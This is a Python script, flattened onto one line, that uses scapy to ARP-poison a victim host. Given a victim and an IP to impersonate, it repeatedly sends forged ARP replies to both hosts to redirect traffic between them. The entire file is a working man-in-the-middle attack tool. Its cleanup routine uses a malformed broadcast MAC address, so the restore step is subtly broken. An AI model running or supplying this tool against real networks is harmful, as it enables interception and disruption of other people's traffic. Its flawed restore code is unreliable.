#!/usr/bin/python import sys, os, time from scapy.all import * # ARP ping to get the original MAC addresses def get_original_macs(ip): ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),timeout=2) for snd,rcv in ans: return rcv.sprintf("%Ether.src%") # restore ARP tables (so the machines can actually connect) def restore_original_state(spoofed_ip, victim, spoofed_mac, victim_mac): send(ARP(op=2, psrc=spoofed_ip, pdst=victim, hwdst="ff:ff:ff:ff:ff", hwsrc=spoofed_mac)) send(ARP(op=2, psrc=victim, pdst=spoofed_ip, hwdst="ff:ff:ff:ff:ff", hwsrc=victim_mac)) # Initiate ARP poisoning def arp_poison(spoofed_ip, victim): send(ARP(op=2, psrc=spoofed_ip, pdst=victim, hwdst="ff:ff:ff:ff:ff:ff")) send(ARP(op=2, psrc=victim, pdst=spoofed_ip, hwdst="ff:ff:ff:ff:ff:ff")) def main(): if os.geteuid() != 0: print "Please run as root." exit() if len(sys.argv) != 3: print "Usage: " + sys.argv[0] + " <IP to masquerade as> <victim>" exit() print "Poisoning: " + sys.argv[2] print "Faked IP: " + sys.argv[1] print "\nPress ctrl+c to exit." try: spoofed_mac = get_original_macs(sys.argv[1]) victim_mac = get_original_macs(sys.argv[2]) except: print "Error: Unable to get MAC addresses, qutting." exit(1) while 1: try: arp_poison(sys.argv[1], sys.argv[2]) time.sleep(2) except KeyboardInterrupt: print "Caught interrupt\nRestoring network state then exiting." restore_original_state(sys.argv[1], sys.argv[2], spoofed_mac, victim_mac) exit(0) if __name__ == "__main__": main() |